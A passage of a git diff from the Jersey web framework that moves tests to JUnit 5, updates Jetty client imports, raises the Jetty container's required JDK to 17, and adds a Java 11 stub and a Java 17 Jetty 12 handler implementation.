-> + this.server = new ServerManager(false, true)); } @@ -159,7 +159,7 @@ private void executeTest() throws Throwable { if (error.get() != null) { throw error.get(); } - assertTrue("No requests processed.", counter.get() > 0); + assertTrue(counter.get() > 0, "No requests processed."); } @@ -177,7 +177,7 @@ private ClientThread createClient(final boolean secured, final boolean useHttp2, final Class clazz = (Class) Class.forName(CLIENT_IMPLEMENTATION); final Constructor constructor = clazz.getConstructor(ClientThreadSettings.class, AtomicInteger.class, AtomicReference.class); - assertNotNull("constructor for " + CLIENT_IMPLEMENTATION, constructor); + assertNotNull(constructor, "constructor for " + CLIENT_IMPLEMENTATION); final ClientThreadSettings settings = new ClientThreadSettings(id, secured, useHttp2, server.getApplicationServiceEndpoint()); return constructor.newInstance(settings, counter, error); diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java index 8e9d5434a78..58ea74ab6c0 100644 --- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java @@ -1,4 +1,5 @@ /* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -27,7 +28,7 @@ import jakarta.ws.rs.core.MediaType; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * JDK11+ has it's own {@link HttpClient} implementation supporting both HTTP 1.1 and HTTP/2. diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java index dcf359f42aa..385c479e219 100644 --- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java @@ -1,4 +1,5 @@ /* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -23,11 +24,11 @@ import jakarta.ws.rs.client.Client; import jakarta.ws.rs.client.ClientBuilder; -import jakarta.ws.rs.client.Invocation.Builder; +import jakarta.ws.rs.client.Invocation; import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Response; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Jersey doesn't support HTTP/2 at this moment, but this class may be extended later. @@ -50,7 +51,7 @@ public JerseyHttpClientThread(final ClientThreadSettings settings, @Override public void doGetAndCheckResponse() throws Throwable { final WebTarget path = client.target(getSettings().targetUri.toString()); - final Builder builder = path.request(); + final Invocation.Builder builder = path.request(); final Response response = builder.get(); final String responseMsg = response.readEntity(String.class); assertEquals(200, response.getStatus()); diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java index 171d534fce7..ec3f174142a 100644 --- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java @@ -1,4 +1,5 @@ /* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -19,15 +20,15 @@ import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicReference; +import org.eclipse.jetty.client.ContentResponse; import org.eclipse.jetty.client.HttpClient; import org.eclipse.jetty.client.HttpClientTransport; -import org.eclipse.jetty.client.api.ContentResponse; -import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP; +import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP; import org.eclipse.jetty.http2.client.HTTP2Client; -import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; import org.eclipse.jetty.io.ClientConnector; import org.eclipse.jetty.util.ssl.SslContextFactory; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Jetty {@link HttpClient} supports both HTTP 1.1 and HTTP/2. diff --git a/containers/grizzly2-servlet/pom.xml b/containers/grizzly2-servlet/pom.xml index 02fe0f2aa75..f45013e9baf 100644 --- a/containers/grizzly2-servlet/pom.xml +++ b/containers/grizzly2-servlet/pom.xml @@ -1,7 +1,7 @@ + target17/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class + + [11,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java11.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java index f4faac678a5..2e8b5c5b9ed 100644 --- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java +++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -31,18 +31,27 @@ */ public final class JettyHttpContainerProvider implements ContainerProvider { + public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler"; @Override public T createContainer(final Class type, final Application application) throws ProcessingException { - if (JdkVersion.getJdkVersion().getMajor() < 11) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } - if (type != null - && ("org.eclipse.jetty.server.Handler".equalsIgnoreCase(type.getCanonicalName()) - || JettyHttpContainer.class == type) - ) { + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { return type.cast(new JettyHttpContainer(application)); } return null; } + public T createContainer(final Class type, final Application application, + Object parentContext) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { + return type.cast(new JettyHttpContainer(application, parentContext)); + } + return null; + } + } diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java index fe776b9f406..5022feed086 100644 --- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java +++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Markus KARG. All rights reserved. * * This program and the accompanying materials are made available under the @@ -17,8 +17,12 @@ package org.glassfish.jersey.jetty; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.core.Application; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; import org.glassfish.jersey.server.spi.WebServer; import org.glassfish.jersey.server.spi.WebServerProvider; @@ -33,18 +37,24 @@ public final class JettyHttpServerProvider implements WebServerProvider { @Override - public final T createServer(final Class type, final Application application, - final JerseySeBootstrapConfiguration configuration) { - return JettyHttpServer.class == type || WebServer.class == type - ? type.cast(new JettyHttpServer(application, configuration)) + public T createServer(final Class type, final Application application, + final SeBootstrap.Configuration configuration) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) : null; } @Override public T createServer(final Class type, final Class applicationClass, - final JerseySeBootstrapConfiguration configuration) { - return JettyHttpServer.class == type || WebServer.class == type - ? type.cast(new JettyHttpServer(applicationClass, configuration)) + final SeBootstrap.Configuration configuration) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) : null; } } diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java new file mode 100644 index 00000000000..55258ea1184 --- /dev/null +++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java @@ -0,0 +1,84 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; +import org.eclipse.jetty.server.Handler; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.Container; + +/** + * Jersey {@code Container} implementation based on Jetty {@link Handler}. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Libor Kramolis + * @author Marek Potociar + */ +public final class JettyHttpContainer implements Container { + + @Override + public ResourceConfig getConfiguration() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public void reload() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public void reload(final ResourceConfig configuration) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public ApplicationHandler getApplicationHandler() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + * @param parentContext DI provider specific context with application's registered bindings. + */ + JettyHttpContainer(final Application application, final Object parentContext) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Application application) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + /** + * Create a new Jetty HTTP container. + * + * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Class applicationClass) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + +} diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java new file mode 100644 index 00000000000..61e19775f55 --- /dev/null +++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java @@ -0,0 +1,229 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.ProcessingException; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.Container; + +import java.net.URI; + +/** + * Factory for creating and starting Jetty server handlers. This returns + * a handle to the started server as {@link Server} instances, which allows + * the server to be stopped by invoking the {@link Server#stop()} method. + *

    + * To start the server in HTTPS mode an {@link SslContextFactory} can be provided. + * This will be used to decrypt and encrypt information sent over the + * connected TCP socket channel. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Marek Potociar + */ +public final class JettyHttpContainerFactory { + + private JettyHttpContainerFactory() { + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri) throws ProcessingException { + return createServer(uri, null, null, true); + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final boolean start) throws ProcessingException { + return createServer(uri, null, null, start); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig config) + throws ProcessingException { + + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, null, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory, + final ResourceConfig config) + throws ProcessingException { + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, sslContextFactory, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + */ + public static Server createServer(final URI uri, + final SslContextFactory.Server sslContextFactory, + final JettyHttpContainer handler, + final boolean start) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } +} diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java new file mode 100644 index 00000000000..70fcc561263 --- /dev/null +++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java @@ -0,0 +1,80 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +import java.util.concurrent.CompletableFuture; + +/** + * Jersey {@code Server} implementation based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class JettyHttpServer implements WebServer { + + private final JettyHttpContainer container; + + private final org.eclipse.jetty.server.Server httpServer; + + JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration); + } + + JettyHttpServer(final Class applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new JettyHttpContainer(applicationClass), configuration); + } + + JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final JettyHttpContainer container() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final int port() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final CompletableFuture start() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final CompletableFuture stop() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final T unwrap(final Class nativeClass) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + +} diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java new file mode 100644 index 00000000000..dfe20f23387 --- /dev/null +++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java @@ -0,0 +1,463 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.io.OutputStream; +import java.lang.reflect.Type; +import java.net.URI; +import java.net.URISyntaxException; +import java.security.Principal; +import java.util.List; +import java.util.Map; +import java.util.Timer; +import java.util.TimerTask; +import java.util.concurrent.ConcurrentLinkedQueue; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.GenericType; +import jakarta.ws.rs.core.SecurityContext; + +import jakarta.inject.Inject; +import jakarta.inject.Provider; + +import org.eclipse.jetty.http.HttpField; +import org.eclipse.jetty.http.HttpHeader; +import org.eclipse.jetty.io.Content; +import org.eclipse.jetty.security.AuthenticationState; +import org.eclipse.jetty.server.Handler; +import org.eclipse.jetty.util.Callback; +import org.glassfish.jersey.internal.MapPropertiesDelegate; +import org.glassfish.jersey.internal.inject.AbstractBinder; +import org.glassfish.jersey.internal.inject.ReferencingFactory; +import org.glassfish.jersey.internal.util.ExtendedLogger; +import org.glassfish.jersey.internal.util.collection.Ref; +import org.glassfish.jersey.process.internal.RequestScoped; +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ContainerException; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.internal.ContainerUtils; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.ContainerResponseWriter; + +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Response; + +/** + * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Libor Kramolis + * @author Marek Potociar + */ +public final class JettyHttpContainer extends Handler.Abstract implements Container { + + private static final ExtendedLogger LOGGER = + new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST); + + private static final Type REQUEST_TYPE = (new GenericType>() {}).getType(); + private static final Type RESPONSE_TYPE = (new GenericType>() {}).getType(); + + private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); + private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST; + + /** + * Cached value of configuration property + * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}. + * If {@code true} method {@link Response#setStatus(int)} is used over {@link Response#writeError(Request, Response, Callback, int)} + */ + private boolean configSetStatusOverSendError; + + /** + * Referencing factory for Jetty request. + */ + private static class JettyRequestReferencingFactory extends ReferencingFactory { + @Inject + public JettyRequestReferencingFactory(final Provider> referenceFactory) { + super(referenceFactory); + } + } + + /** + * Referencing factory for Jetty response. + */ + private static class JettyResponseReferencingFactory extends ReferencingFactory { + @Inject + public JettyResponseReferencingFactory(final Provider> referenceFactory) { + super(referenceFactory); + } + } + + /** + * An internal binder to enable Jetty HTTP container specific types injection. + * This binder allows to inject underlying Jetty HTTP request and response instances. + * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor, + * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via + * {@link jakarta.inject.Provider injection provider}. + */ + private static class JettyBinder extends AbstractBinder { + + @Override + protected void configure() { + bindFactory(JettyRequestReferencingFactory.class).to(Request.class) + .proxy(false).in(RequestScoped.class); + bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType>() {}) + .in(RequestScoped.class); + + bindFactory(JettyResponseReferencingFactory.class).to(Response.class) + .proxy(false).in(RequestScoped.class); + bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType>() {}) + .in(RequestScoped.class); + } + } + + private volatile ApplicationHandler appHandler; + + @Override + public boolean handle(Request request, Response response, Callback callback) throws Exception { + + final ResponseWriter responseWriter = new ResponseWriter(request, response, callback, configSetStatusOverSendError); + try { + final URI baseUri = getBaseUri(request); + final URI requestUri = getRequestUri(request, baseUri); + final ContainerRequest requestContext = new ContainerRequest( + baseUri, + requestUri, + request.getMethod(), + getSecurityContext(request), + new MapPropertiesDelegate(), + appHandler.getConfiguration()); + requestContext.setEntityStream(Request.asInputStream(request)); + request.getHeaders().forEach(httpField -> + requestContext.headers(httpField.getName(), httpField.getValue() == null ? "" : httpField.getValue())); + requestContext.setWriter(responseWriter); + requestContext.setRequestScopedInitializer(injectionManager -> { + injectionManager.>getInstance(REQUEST_TYPE).set(request); + injectionManager.>getInstance(RESPONSE_TYPE).set(response); + }); + + appHandler.handle(requestContext); + return true; + } catch (URISyntaxException e) { + setResponseForInvalidUri(request, response, callback, e); + return true; + } catch (final Exception ex) { + callback.failed(ex); + throw new RuntimeException(ex); + } + } + + private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException { + final String serverAddress = getServerAddress(baseUri); + String uri = request.getHttpURI().getPath(); + + final String queryString = request.getHttpURI().getQuery(); + if (queryString != null) { + uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString); + } + + return new URI(serverAddress + uri); + } + + private void setResponseForInvalidUri(final Request request, final Response response, + final Callback callback, final Throwable throwable) { + LOGGER.log(Level.FINER, "Error while processing request.", throwable); + + if (configSetStatusOverSendError) { + response.reset(); + response.setStatus(BAD_REQUEST_STATUS.getStatusCode()); + callback.failed(throwable); + } else { + Response.writeError(request, response, callback, BAD_REQUEST_STATUS.getStatusCode(), + BAD_REQUEST_STATUS.getReasonPhrase(), throwable); + } + } + + private String getServerAddress(URI baseUri) { + String serverAddress = baseUri.toString(); + if (serverAddress.charAt(serverAddress.length() - 1) == '/') { + return serverAddress.substring(0, serverAddress.length() - 1); + } + return serverAddress; + } + + private SecurityContext getSecurityContext(final Request request) { + + AuthenticationState.Succeeded authenticationState = AuthenticationState.authenticate(request); + + return new SecurityContext() { + + @Override + public boolean isUserInRole(final String role) { + return authenticationState != null && authenticationState.isUserInRole(role); + } + + @Override + public boolean isSecure() { + return request.isSecure(); + } + + @Override + public Principal getUserPrincipal() { + return authenticationState != null ? authenticationState.getUserIdentity().getUserPrincipal() : null; + } + + @Override + public String getAuthenticationScheme() { + return authenticationState != null ? 